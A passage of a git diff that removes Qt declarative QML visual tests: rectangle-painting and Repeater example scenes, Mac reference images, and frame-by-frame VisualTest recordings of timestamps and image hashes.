hash: "79998980caccd4eb479fbd9f2a13c860" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 896 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 912 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 928 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 944 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 960 - image: "rect-painting.0.png" - } - Frame { - msec: 976 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 992 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 1008 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 1024 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 1040 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 1056 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 1072 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 1088 - hash: "79998980caccd4eb479fbd9f2a13c860" - } -} diff --git a/tests/auto/declarative/visual/rect/rect-painting.qml b/tests/auto/declarative/visual/rect/rect-painting.qml deleted file mode 100644 index 93beeec..0000000 --- a/tests/auto/declarative/visual/rect/rect-painting.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 900; height: 500 - color: "white" - - Rectangle { - anchors.top: parent.verticalCenter - anchors.left: parent.left - anchors.right: parent.right - anchors.bottom: parent.bottom - color: "#eeeeee" - } - - Grid { - anchors.centerIn: parent - columns: 8; rows:4; spacing: 30 - - MyRect { color: "lightsteelblue" } - MyRect { color: "lightsteelblue"; border: "gray" } - MyRect { color: "lightsteelblue"; radius: 10 } - MyRect { color: "lightsteelblue"; radius: 10; border: "gray" } - GradientRect { color: "lightsteelblue" } - GradientRect { color: "lightsteelblue"; border: "gray" } - GradientRect { color: "lightsteelblue"; radius: 10 } - GradientRect { color: "lightsteelblue"; radius: 10; border: "gray" } - - MyRect { color: "thistle"; rotation: 10 } - MyRect { color: "thistle"; border: "gray"; rotation: 10 } - MyRect { color: "thistle"; radius: 10; rotation: 10 } - MyRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10 } - GradientRect { color: "thistle"; rotation: 10 } - GradientRect { color: "thistle"; border: "gray"; rotation: 10 } - GradientRect { color: "thistle"; radius: 10; rotation: 10 } - GradientRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10 } - - MyRect { color: "lightsteelblue"; smooth: true } - MyRect { color: "lightsteelblue"; border: "gray"; smooth: true } - MyRect { color: "lightsteelblue"; radius: 10; smooth: true } - MyRect { color: "lightsteelblue"; radius: 10; border: "gray"; smooth: true } - GradientRect { color: "lightsteelblue"; smooth: true } - GradientRect { color: "lightsteelblue"; border: "gray"; smooth: true } - GradientRect { color: "lightsteelblue"; radius: 10; smooth: true } - GradientRect { color: "lightsteelblue"; radius: 10; border: "gray"; smooth: true } - - MyRect { color: "thistle"; rotation: 10; smooth: true } - MyRect { color: "thistle"; border: "gray"; rotation: 10; smooth: true } - MyRect { color: "thistle"; radius: 10; rotation: 10; smooth: true } - MyRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10; smooth: true } - GradientRect { color: "thistle"; rotation: 10; smooth: true } - GradientRect { color: "thistle"; border: "gray"; rotation: 10; smooth: true } - GradientRect { color: "thistle"; radius: 10; rotation: 10; smooth: true } - GradientRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10; smooth: true } - } -} diff --git a/tests/auto/declarative/visual/repeater/basic1.qml b/tests/auto/declarative/visual/repeater/basic1.qml deleted file mode 100644 index acb669c..0000000 --- a/tests/auto/declarative/visual/repeater/basic1.qml +++ /dev/null @@ -1,27 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 300 - height: 200 - Row { - Repeater { - delegate: Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - model: ListModel { - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - } - } -} diff --git a/tests/auto/declarative/visual/repeater/basic2.qml b/tests/auto/declarative/visual/repeater/basic2.qml deleted file mode 100644 index 3323da5..0000000 --- a/tests/auto/declarative/visual/repeater/basic2.qml +++ /dev/null @@ -1,31 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 300 - height: 200 - Component { - id: delegate - Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - } - Row { - Repeater { - delegate: delegate - model: ListModel { - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - } - } -} diff --git a/tests/auto/declarative/visual/repeater/basic3.qml b/tests/auto/declarative/visual/repeater/basic3.qml deleted file mode 100644 index cb57d49..0000000 --- a/tests/auto/declarative/visual/repeater/basic3.qml +++ /dev/null @@ -1,29 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 300 - height: 200 - ListModel { - id: dataSource - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - Row { - Repeater { - model: dataSource - delegate: Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - } - } -} diff --git a/tests/auto/declarative/visual/repeater/basic4.qml b/tests/auto/declarative/visual/repeater/basic4.qml deleted file mode 100644 index f31de2c..0000000 --- a/tests/auto/declarative/visual/repeater/basic4.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 300 - height: 200 - ListModel { - id: dataSource - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - Component { - id: delegate - Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - } - Row { - Repeater { - model: dataSource - delegate: delegate - } - } -} diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic1.0.png b/tests/auto/declarative/visual/repeater/data-MAC/basic1.0.png deleted file mode 100644 index 2658b6b..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-MAC/basic1.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic1.qml b/tests/auto/declarative/visual/repeater/data-MAC/basic1.qml deleted file mode 100644 index 5bc0d6b..0000000 --- a/tests/auto/declarative/visual/repeater/data-MAC/basic1.qml +++ /dev/null @@ -1,323 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 32 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 48 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 64 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 80 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 96 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 112 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 128 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 144 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 160 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 176 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 192 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 208 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 224 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 240 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 256 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 272 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 288 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 304 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 320 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 336 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 352 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 368 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 384 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 400 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 416 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 432 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 448 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 464 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 480 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 496 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 512 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 528 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 544 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 560 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 576 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 592 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 608 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 624 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 640 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 656 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 672 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 688 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 704 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 720 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 736 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 752 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 768 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 784 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 800 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 816 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 832 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 848 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 864 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 880 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 896 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 912 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 928 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 944 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 960 - image: "basic1.0.png" - } - Frame { - msec: 976 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 992 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1008 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1024 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1040 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1056 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1072 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1088 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1104 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1120 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1136 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1152 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1168 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1184 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1216 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1232 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic2.0.png b/tests/auto/declarative/visual/repeater/data-MAC/basic2.0.png deleted file mode 100644 index 2658b6b..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-MAC/basic2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic2.qml b/tests/auto/declarative/visual/repeater/data-MAC/basic2.qml deleted file mode 100644 index 64cf2ea..0000000 --- a/tests/auto/declarative/visual/repeater/data-MAC/basic2.qml +++ /dev/null @@ -1,331 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 32 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 48 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 64 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 80 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 96 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 112 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 128 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 144 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 160 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 176 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 192 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 208 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 224 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 240 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 256 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 272 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 288 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 304 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 320 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 336 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 352 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 368 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 384 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 400 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 416 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 432 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 448 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 464 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 480 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 496 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 512 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 528 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 544 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 560 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 576 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 592 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 608 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 624 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 640 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 656 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 672 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 688 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 704 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 720 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 736 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 752 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 768 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 784 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 800 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 816 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 832 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 848 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 864 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 880 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 896 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 912 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 928 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 944 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 960 - image: "basic2.0.png" - } - Frame { - msec: 976 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 992 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1008 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1024 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1040 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1056 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1072 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1088 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1104 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1120 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1136 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1152 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1168 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1184 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1200 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1216 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1232 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1248 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1264 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic3.0.png b/tests/auto/declarative/visual/repeater/data-MAC/basic3.0.png deleted file mode 100644 index 2658b6b..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-MAC/basic3.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic3.qml b/tests/auto/declarative/visual/repeater/data-MAC/basic3.qml deleted file mode 100644 index 41e174a..0000000 --- a/tests/auto/declarative/visual/repeater/data-MAC/basic3.qml +++ /dev/null @@ -1,347 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 32 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 48 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 64 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 80 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 96 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 112 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 128 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 144 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 160 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 176 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 192 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 208 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 224 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 240 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 256 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 272 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 288 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 304 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 320 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 336 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 352 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 368 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 384 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 400 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 416 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 432 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 448 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 464 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 480 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 496 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 512 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 528 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 544 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 560 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 576 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 592 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 608 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 624 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 640 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 656 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 672 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 688 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 704 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 720 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 736 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 752 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 768 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 784 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 800 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 816 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 832 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 848 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 864 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 880 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 896 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 912 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 928 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 944 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 960 - image: "basic3.0.png" - } - Frame { - msec: 976 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 992 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1008 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1024 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1040 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1056 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1072 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1088 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1104 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1120 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1136 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1152 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1168 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1184 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1200 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1216 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1232 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1248 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1264 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1280 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1296 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1312 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1328 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic4.0.png b/tests/auto/declarative/visual/repeater/data-MAC/basic4.0.png deleted file mode 100644 index 2658b6b..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-MAC/basic4.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-MAC/basic4.qml b/tests/auto/declarative/visual/repeater/data-MAC/basic4.qml deleted file mode 100644 index fcf2504..0000000 --- a/tests/auto/declarative/visual/repeater/data-MAC/basic4.qml +++ /dev/null @@ -1,419 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 32 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 48 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 64 - hash: 